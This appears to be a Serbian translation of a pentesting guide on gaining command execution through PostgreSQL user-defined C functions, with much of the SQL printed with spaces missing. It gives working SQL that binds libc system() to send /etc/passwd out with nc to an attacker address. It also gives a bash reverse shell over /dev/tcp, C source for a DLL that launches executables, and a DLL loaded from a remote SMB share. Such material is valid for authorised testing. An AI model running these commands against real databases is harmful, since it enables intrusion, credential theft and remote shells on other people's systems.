PostgreSQL je razvijen sa ekstenzibilnošću kao osnovnom karakteristikom, omogućavajući mu da besprekorno integriše ekstenzije kao da su ugrađene funkcionalnosti. Ove ekstenzije, u suštini biblioteke napisane u C, obogaćuju bazu podataka dodatnim funkcijama, operatorima ili tipovima.
Od verzije 8.1 nadalje, postavljen je specifičan zahtev za biblioteke ekstenzija: moraju biti kompajlirane sa posebnim zaglavljem. Bez toga, PostgreSQL ih neće izvršiti, osiguravajući da se koriste samo kompatibilne i potencijalno sigurne ekstenzije.
Izvršenje sistemskih komandi iz PostgreSQL 8.1 i ranijih verzija je proces koji je jasno dokumentovan i jednostavan. Moguće je koristiti ovo: Metasploit modul.
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECTsystem('cat /etc/passwd | nc <attacker IP> <attacker port>');# You can also create functions toopenand write filesCREATE OR REPLACEFUNCTIONopen(cstring, int, int) RETURNSintAS'/lib/libc.so.6', 'open'LANGUAGE'C' STRICT;CREATE OR REPLACEFUNCTIONwrite(int, cstring, int) RETURNSintAS'/lib/libc.so.6', 'write'LANGUAGE'C' STRICT;CREATE OR REPLACEFUNCTIONclose(int) RETURNSintAS'/lib/libc.so.6', 'close'LANGUAGE'C' STRICT;
Write binary file from base64
Da biste napisali binarni fajl u postgres, možda ćete morati da koristite base64, ovo će biti korisno za tu svrhu:
CREATE OR REPLACEFUNCTIONwrite_to_file(fileTEXT, s TEXT) RETURNSintAS$$DECLAREfh int;s int;w bytea;i int;BEGINSELECTopen(textout(file)::cstring, 522, 448) INTO fh;IF fh <=2THENRETURN1;ENDIF;SELECT decode(s, 'base64') INTO w;i :=0;LOOPEXIT WHEN i >= octet_length(w);SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;IF rs <0THENRETURN2;ENDIF;i := i +1;ENDLOOP;SELECTclose(fh) INTO rs;RETURN0;END;$$ LANGUAGE'plpgsql';
Međutim, kada je pokušano na većim verzijama prikazana je sledeća greška:
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic blockHINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
Da bi se osiguralo da se dinamički učitani objekat ne učita u nekompatibilni server, PostgreSQL proverava da li datoteka sadrži "magični blok" sa odgovarajućim sadržajem. Ovo omogućava serveru da otkrije očigledne nekompatibilnosti, kao što je kod kompajliran za drugu glavnu verziju PostgreSQL-a. Magični blok je obavezan od PostgreSQL 8.2. Da biste uključili magični blok, napišite ovo u jednoj (i samo jednoj) od izvornih datoteka modula, nakon što ste uključili zaglavlje fmgr.h:
#ifdef PG_MODULE_MAGICPG_MODULE_MAGIC;#endif
Od verzije PostgreSQL 8.2, proces za napadača da iskoristi sistem je postao izazovniji. Napadač je obavezan da ili koristi biblioteku koja je već prisutna na sistemu ili da otpremi prilagođenu biblioteku. Ova prilagođena biblioteka mora biti kompajlirana protiv kompatibilne glavne verzije PostgreSQL-a i mora uključivati specifičan "magični blok". Ova mera značajno povećava težinu iskorišćavanja PostgreSQL sistema, jer zahteva dublje razumevanje arhitekture sistema i kompatibilnosti verzija.
Kompajlirajte biblioteku
Dobijte verziju PostgreSQL-a sa:
SELECTversion();PostgreSQL 9.6.3on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.020170516, 64-bit
Za kompatibilnost, od suštinskog je značaja da se glavne verzije usklade. Stoga, kompajliranje biblioteke sa bilo kojom verzijom unutar 9.6.x serije treba da obezbedi uspešnu integraciju.
Zatim otpremite kompajliranu biblioteku i izvršite komande sa:
CREATEFUNCTIONsys(cstring) RETURNSintAS'/tmp/pg_exec.so','pg_exec'LANGUAGECSTRICT;SELECTsys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');#Notice the double single quotes are needed to scape the qoutes
Možete pronaći ovu biblioteku unapred kompajliranu za nekoliko različitih verzija PostgreSQL-a i čak možete automatizovati ovaj proces (ako imate pristup PostgreSQL-u) sa:
Sledeća DLL uzima kao ulaz ime binarnog fajla i brojputa koliko želite da ga izvršite i izvršava ga:
#include"postgres.h"#include<string.h>#include"fmgr.h"#include"utils/geo_decls.h"#include<stdio.h>#include"utils/builtins.h"#ifdefPG_MODULE_MAGICPG_MODULE_MAGIC;#endif/* Add a prototype marked PGDLLEXPORT */PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);PG_FUNCTION_INFO_V1(pgsql_exec);/* this function launches the executable passed in as the first parameterin a FOR loop bound by the second parameter that is also passed*/Datumpgsql_exec(PG_FUNCTION_ARGS){/* convert text pointer to C string */#defineGET_STR(textp) DatumGetCString(DirectFunctionCall1(textout,PointerGetDatum(textp)))/* retrieve the second argument that is passed to the function (an integer)that will serve as our counter limit*/int instances =PG_GETARG_INT32(1);for (int c =0; c < instances; c++) {/*launch the process passed in the first parameter*/ShellExecute(NULL,"open", GET_STR(PG_GETARG_TEXT_P(0)),NULL,NULL,1);}PG_RETURN_VOID();}
Možete pronaći DLL kompajliran u ovom zip-u:
Možete naznačiti ovom DLL-u koji binarni fajl da izvrši i broj puta koliko treba da ga izvrši, u ovom primeru će izvršiti calc.exe 2 puta:
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECTremote_exec('calc.exe',2);DROPFUNCTIONremote_exec(text,integer);
Napomena kako je u ovom slučaju maliciozni kod unutar DllMain funkcije. To znači da u ovom slučaju nije potrebno izvršiti učitanu funkciju u postgresql, samo učitavanje DLL-a će izvršiti reverznu ljusku:
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
The PolyUDF project je takođe dobar početak sa punim MS Visual Studio projektom i spremnom bibliotekom (uključujući: command eval, exec i cleanup) sa podrškom za više verzija.
RCE u najnovijim Prostgres verzijama
U najnovijim verzijama PostgreSQL-a, uvedena su ograničenja gde je superuserzabranjen da učitava deljene biblioteke osim iz specifičnih direktorijuma, kao što su C:\Program Files\PostgreSQL\11\lib na Windows-u ili /var/lib/postgresql/11/lib na *nix sistemima. Ovi direktorijumi su zaštićeni od operacija pisanja od strane ili NETWORK_SERVICE ili postgres naloga.
Uprkos ovim ograničenjima, moguće je da autentifikovani superuser baze podataka piše binarne datoteke na datotečni sistem koristeći "velike objekte." Ova sposobnost se proteže na pisanje unutar direktorijuma C:\Program Files\PostgreSQL\11\data, što je od suštinskog značaja za operacije baze podataka kao što su ažuriranje ili kreiranje tabela.
Značajna ranjivost proizašla je iz komande CREATE FUNCTION, koja dozvoljava prolaz kroz direktorijum u direktorijum podataka. Kao rezultat, autentifikovani napadač bi mogao iskoristiti ovaj prolaz da napiše deljenu biblioteku u direktorijum podataka i zatim je učita. Ova eksploatacija omogućava napadaču da izvrši proizvoljan kod, postignuvši izvršenje nativnog koda na sistemu.
Tok napada
Prvo što treba da uradite je da koristite velike objekte za upload dll-a. Možete videti kako to uraditi ovde: